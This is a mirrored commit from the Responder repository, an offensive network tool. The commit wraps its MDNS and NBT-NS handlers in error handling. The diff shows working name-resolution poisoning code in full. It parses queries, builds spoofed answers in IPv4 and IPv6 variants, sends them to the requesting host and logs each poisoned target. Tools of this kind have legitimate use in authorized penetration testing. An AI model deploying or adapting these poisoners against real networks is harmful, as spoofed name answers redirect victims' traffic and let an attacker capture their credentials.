mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 13:00:00 -07:00
added:error handling on exceptions.
This commit is contained in:
parent
31393c7072
commit
f670fbaa7f
2 changed files with 53 additions and 49 deletions
|
@ -51,47 +51,49 @@ def Poisoned_MDNS_Name(data):
|
||||||
|
|
||||||
class MDNS(BaseRequestHandler):
|
class MDNS(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data, soc = self.request
|
||||||
|
Request_Name = Parse_MDNS_Name(data)
|
||||||
|
MDNSType = Parse_IPV6_Addr(data)
|
||||||
|
# Break out if we don't want to respond to this host
|
||||||
|
|
||||||
data, soc = self.request
|
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
|
||||||
Request_Name = Parse_MDNS_Name(data)
|
return None
|
||||||
MDNSType = Parse_IPV6_Addr(data)
|
|
||||||
# Break out if we don't want to respond to this host
|
|
||||||
|
|
||||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
return None
|
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
||||||
|
SavePoisonersToDb({
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
|
||||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
|
||||||
SavePoisonersToDb({
|
|
||||||
'Poisoner': 'MDNS',
|
'Poisoner': 'MDNS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Request_Name,
|
'ForName': Request_Name,
|
||||||
'AnalyzeMode': '1',
|
'AnalyzeMode': '1',
|
||||||
})
|
})
|
||||||
elif MDNSType == True: # Poisoning Mode
|
elif MDNSType == True: # Poisoning Mode
|
||||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'MDNS',
|
'Poisoner': 'MDNS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Request_Name,
|
'ForName': Request_Name,
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
|
||||||
elif MDNSType == 'IPv6': # Poisoning Mode
|
elif MDNSType == 'IPv6': # Poisoning Mode
|
||||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'MDNS6',
|
'Poisoner': 'MDNS6',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Request_Name,
|
'ForName': Request_Name,
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
|
|
@ -27,33 +27,35 @@ else:
|
||||||
class NBTNS(BaseRequestHandler):
|
class NBTNS(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data, socket = self.request
|
||||||
|
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||||
|
# Break out if we don't want to respond to this host
|
||||||
|
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||||
|
return None
|
||||||
|
|
||||||
data, socket = self.request
|
if data[2:4] == b'\x01\x10':
|
||||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
# Break out if we don't want to respond to this host
|
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
||||||
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
SavePoisonersToDb({
|
||||||
return None
|
|
||||||
|
|
||||||
if data[2:4] == b'\x01\x10':
|
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
|
||||||
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
|
||||||
SavePoisonersToDb({
|
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Name,
|
'ForName': Name,
|
||||||
'AnalyzeMode': '1',
|
'AnalyzeMode': '1',
|
||||||
})
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer1 = NBT_Ans()
|
Buffer1 = NBT_Ans()
|
||||||
Buffer1.calculate(data)
|
Buffer1.calculate(data)
|
||||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
LineHeader = "[*] [NBT-NS]"
|
LineHeader = "[*] [NBT-NS]"
|
||||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Name,
|
'ForName': Name,
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue